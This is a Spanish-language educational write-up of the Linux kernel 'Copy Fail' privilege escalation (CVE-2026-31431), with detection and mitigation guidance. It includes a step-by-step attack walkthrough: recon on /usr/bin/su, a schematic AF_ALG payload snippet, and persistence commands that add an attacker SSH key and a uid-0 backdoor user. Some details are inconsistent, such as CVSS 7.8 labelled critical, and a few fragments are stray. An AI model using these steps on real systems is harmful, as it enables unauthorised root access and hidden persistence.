
Análisis detallado de la vulnerabilidad Copy Fail (CVE-2026-31431) en el kernel de Linux, incluyendo el mecanismo de corrupción de memoria, el flujo de escalada de privilegios y el impacto en la seguridad.
Análisis educativo de la vulnerabilidad Copy Fail en el kernel de Linux.
Cubre el mecanismo de corrupción de memoria, el flujo de escalada de privilegios, el escape de contenedores y las contramedidas defensivas.
Este repositorio es solo para fines educativos y de investigación.
No utilice esta información en sistemas que no le pertenezcan o para los que no tenga permiso explícito por escrito para realizar pruebas.
Todos los fragmentos de código y comandos se proporcionan estrictamente para ayudar a comprender los internals del kernel de Linux.
CVE-2026-31431, también conocida como Copy Fail, es una vulnerabilidad del kernel de Linux en la que un usuario local sin privilegios puede escalar a root sin necesidad de permisos especiales.
El ataque opera enteramente en RAM. El archivo en disco nunca se toca, lo que significa que los hashes de archivos permanecen limpios, las marcas de tiempo no cambian y los registros de auditoría no registran nada. Cuando el sistema se reinicia, toda la evidencia desaparece.
Usuario normal → explota el fallo algif_aead → sobrescribe la caché de páginas → root
Propiedades clave:
/usr/bin/su — El Binario Objetivosu (Switch User) permite a un usuario cambiar a otra cuenta, normalmente root. Es un binario SetUID:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = indicador SetUID
El indicador s significa que cuando cualquier usuario ejecuta este binario, se ejecuta con los permisos de root. Esto lo convierte en un objetivo de alto valor.
Su lógica interna (simplificada):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
El objetivo del ataque: omitir por completo la comprobación password_correct().
Cuando Linux lee un archivo del disco, guarda una copia en RAM llamada caché de páginas.
| Componente | Descripción |
|---|---|
| Disco | Archivo original en disco (el estante de la biblioteca) |
| Caché de Páginas | Copia del archivo en RAM (la fotocopia en su escritorio) |
| CPU | Lee y ejecuta desde la caché de páginas — rápido |
| Atacante | Modifica la copia en RAM; el disco permanece intacto |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← esta es la caché de páginas
| Tipo | Seguridad |
|---|---|
| Buffer Seguro — asignado por el kernel, tamaño y límites controlados | ✅ OK |
| Caché de Páginas — copia en RAM respaldada por archivo, compartida, ejecutable | ⚠️ PELIGROSO si se escribe en ella |
| Puntero Incorrecto — dirección causada por el fallo que apunta a cualquier lugar | 🔴 CRÍTICO |
AF_ALG (Algorithm Family) es una interfaz de socket de Linux que permite a los programas de espacio de usuario usar funciones criptográficas del kernel (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // abrir un socket criptográfico
algif_aead es el módulo del kernel que maneja el cifrado AEAD (por ejemplo, AES-GCM) a través de AF_ALG. La vulnerabilidad reside en su paso de copia de datos.
AF_ALG → algif_aead → motor AES-GCM → buffer de salida
↑
EL FALLO ESTÁ AQUÍ
El fallo no está en la lógica de cifrado. Está en el manejo de memoria — se selecciona la región de memoria incorrecta durante una copia de datos.
destination = safe_output_buffer; // ubicación correcta
memcpy(destination, user_data, size); // datos escritos de forma segura
destination = buffer + WRONG_OFFSET; // FALLO: ¡puntero incorrecto!
memcpy(destination, user_data, size); // los datos caen en la caché de páginas
Se suponía que el kernel escribiría en el buffer de salida seguro. Debido a un offset mal calculado, escribe en la caché de páginas — que contiene la copia en RAM de /usr/bin/su.
El binario contiene código máquina x86-64. El atacante apunta al salto condicional que activa el fallo de autenticación:
Antes del ataque:
cmp eax, 0 ; comprobar valor de retorno
jne 0x1234 ; si falla → saltar a denegar
call give_root ; conceder root
Después del ataque (2 bytes cambiados en RAM):
cmp eax, 0 ; igual
90 90 ; NOP NOP ← salto reemplazado, ¡comprobación omitida!
call give_root ; la CPU llega aquí directamente
NOP = No Operation. La CPU no hace nada y avanza — omitiendo por completo la comprobación de autenticación.
"Solo necesito una cuenta de usuario normal. El kernel cometerá el error por sí mismo.
El disco permanece limpio. Sin registros. Funciona siempre."
whoami && id
# uid=1000(user) gid=1000(user) ← usuario normal
uname -r
# 6.1.0-generic ← dentro del rango vulnerable
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmado
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponible')"
cat /usr/bin/su > /dev/null
# /usr/bin/su ahora está cargado en la caché de páginas ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Buscando: la dirección de la función de autenticación, el salto condicional jne/jnz y su offset de bytes exacto.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — reemplaza el salto condicional
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Internamente en el kernel (simplificado):
destination = buffer + crafted_offset # FALLO: puntero incorrecto
memcpy(destination, payload, 2) # bytes NOP escritos en la caché de páginas
# La comprobación de contraseña de /usr/bin/su ahora es NOP NOP en RAM
su
# Password: (cualquier cosa — o simplemente presionar Enter)
# root@victim:/# ← ROOT OBTENIDO
Qué sucedió: El sistema ejecutó /usr/bin/su desde RAM. La comprobación de contraseña era NOP. La CPU la omitió. give_root() se llamó directamente.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
Después del ataque, un investigador forense encuentra:
sha256sum /usr/bin/su # MISMO hash que antes ← disco intacto
diff /usr/bin/su backup/su # Sin diferencias
grep -r 'attack' /var/log/ # Nada
auditd logs # No se registró escritura de archivo
Al reiniciar, la RAM se vacía — toda la evidencia desaparece.
Los contenedores aíslan el espacio de usuario — pero el kernel es compartido, y la caché de páginas es memoria del kernel.
Kernel del Host
├── Contenedor 1 (espacio de usuario aislado)
│ └── El atacante está aquí
├── Contenedor 2
└── Proceso del Host
Caché de Páginas: COMPARTIDA entre todos los contenedores y el host
Ruta de escape: El atacante en el Contenedor 1 lee /usr/bin/su del host → dispara el fallo → el binario del host en RAM se modifica → ejecutar su en el host otorga root en la máquina host.
Afectados: Docker, Podman, LXC, Kubernetes (nodos compartidos) — si el kernel del host es vulnerable.
Estos son ejercicios de observación solo. Use un entorno de laboratorio (Docker + VM con kernel antiguo) para cualquier prueba.
free -h # anotar el valor de Cache antes
cat /usr/bin/su > /dev/null # cargar el archivo en la caché de páginas
free -h # Cache aumenta ligeramente
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# Igual que el disco normalmente — difiere después de un ataque exitoso
# La comparación con /proc/PID/mem requiere root
Prioridad 1 — Actualización del Kernel (mejor solución)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
Prioridad 2 — Deshabilitar algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
Prioridad 3 — Controles de Acceso
Aplique perfiles seccomp con SystemCallFilter en servicios systemd para restringir el acceso al socket AF_ALG para procesos no confiables.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERTA: sendmsg algif_aead por PID %d (usuario %d)\n", pid, uid);
}
'
# Ejecutar con perfil seccomp (bloquea AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restrictedCVE-2026-31431 combina sigilo (disco sin cambios) + fiabilidad (sin condición de carrera) + escape de contenedores — lo que la hace excepcionalmente peligrosa dentro de su clase.
algif_aead si no es necesarioEn CVE-2026-31431, el módulo criptográfico de Linux (
algif_aead) tiene un fallo de copia de memoria que hace que los datos controlados por el atacante caigan en la caché de páginas en lugar del buffer de salida seguro — modificando silenciosamente un binario SetUID en RAM — permitiendo que cualquier usuario local obtenga acceso root sin dejar ni una sola huella en el disco.
Este documento está preparado para la comprensión educativa de los internals de seguridad del kernel de Linux.
— Solo con Fines Educativos —
| Campo | Valor |
|---|
| ID CVE | CVE-2026-31431 |
| Nombre Común | Copy Fail / Corrupción de Caché de Páginas algif_aead |
| Puntuación CVSS v3.1 | 7.8 — CRÍTICA |
| Tipo de Ataque | Escalada Local de Privilegios (LPE) |
| Versiones de Kernel Afectadas | Linux 5.10 a 6.8 (aprox.) |
| Componente Vulnerable | crypto/algif_aead.c — interfaz de socket AF_ALG |
| Fiabilidad de Explotación | ALTA — No requiere condición de carrera |
| Evidencia en Disco | NINGUNA — Modificación solo en RAM |
| Impacto en Contenedores | SÍ — Escape del host mediante caché de páginas compartida |
| Estado del Parche | Disponible (parche del kernel upstream publicado) |
| CVE | ¿Condición de Carrera? | ¿Disco Seguro? | Fiabilidad |
|---|
| CVE-2016-5195 DirtyCow | SÍ — requiere sincronización | NO — disco modificado | Media |
| CVE-2022-0847 DirtyPipe | Mínima | SÍ — solo RAM | Alta |
| CVE-2026-31431 Copy Fail | NO — escritura directa | SÍ — solo RAM | MUY ALTA |
| Método de Detección | ¿Funciona? |
|---|
| sha256sum / hash de archivo | ❌ El disco es idéntico |
| Marca de tiempo de modificación del archivo | ❌ Disco intacto |
| Registros de escritura de archivos auditd | ❌ No ocurrió escritura en disco |
Inspección de memoria de procesos (/proc) | ✅ Solo si se monitorea en tiempo real |
| Monitoreo del kernel con eBPF | ✅ Detección a nivel de syscall |
| Forensia de memoria (LiME) | ✅ Pero compleja |
| Método | Comando / Enfoque |
|---|
| Versión del kernel | uname -r → comparar con la versión parcheada |
| ¿Módulo cargado? | lsmod | grep algif_aead |
| Monitoreo eBPF | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| Memoria de procesos | cat /proc/PID/maps — comparar con el hash del disco |
| auditd | ausearch -sc socket -sv no |
| Falco | Regla: memfd inesperado o escritura en caché de páginas |
| Forensia de memoria | Volcado LiME para análisis post-incidente |
| CVE / Nombre | ¿Condición de Carrera? | ¿Disco Seguro? | ¿Escape de Contenedor? | Fiabilidad |
|---|
| CVE-2016-5195 DirtyCow | SÍ — requiere sincronización | ❌ Disco modificado | Parcial | Media |
| CVE-2022-0847 DirtyPipe | Mínima | ✅ Solo RAM | SÍ | Alta |
| CVE-2026-31431 Copy Fail | NO — escritura directa | ✅ Solo RAM | SÍ — caché compartida | MUY ALTA |
| Término | Significado |
|---|
| Escalada de Privilegios | Pasar de usuario normal a root sin autorización |
| Caché de Páginas | Copia de un archivo almacenada en RAM, gestionada por el kernel |
| Binario SetUID | Archivo propiedad de root que se ejecuta con privilegios de root para cualquier usuario |
| Primitiva de Escritura | Capacidad de escritura arbitraria en memoria obtenida mediante un fallo |
| Condición de Carrera | Ataque basado en sincronización que requiere una ventana de ejecución precisa |
| AF_ALG | Interfaz de socket criptográfico del kernel de Linux (Algorithm Family) |
| algif_aead | Módulo del kernel de cifrado AEAD — el componente vulnerable |
| memcpy() | Función de copia de memoria — mueve datos de una dirección a otra |
| NOP | No Operation — instrucción de CPU que no hace nada y continúa |
| Escape de Contenedor | Salir de un contenedor para acceder al sistema host |
| eBPF | Herramienta de monitoreo a nivel de kernel para detección de syscalls en tiempo real |
| LiME | Linux Memory Extractor — herramienta de volcado de RAM para análisis forense |
| Seccomp | Secure Computing — mecanismo de Linux para restringir syscalls |
| ELF | Executable and Linkable Format — formato estándar de binarios de Linux |
| CVE | Common Vulnerabilities and Exposures — identificador de vulnerabilidades |
| CVSS | Common Vulnerability Scoring System — puntuación de severidad estandarizada |
| Módulo del Kernel | Complemento del kernel (por ejemplo, controladores de dispositivos, manejadores criptográficos) |
| Offset | Distancia en bytes de un punto de memoria a otro |
| Ingeniería Inversa | Analizar un binario compilado sin acceso al código fuente |
| Paso | Acción |
|---|
| 1 | whoami — confirmar que es un usuario normal |
| 2 | uname -r — verificar que el kernel está en el rango vulnerable (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — confirmar que el indicador SetUID está presente |
| 4 | Ejecutar script de explotación: AF_ALG → algif_aead → payload diseñado |
| 5 | El fallo del kernel se dispara → la caché de páginas de /usr/bin/su se sobrescribe en RAM |
| 6 | Ejecutar su → ROOT obtenido (sin contraseña requerida) |
| 7 | Persistencia: añadir clave SSH o crear usuario root de puerta trasera |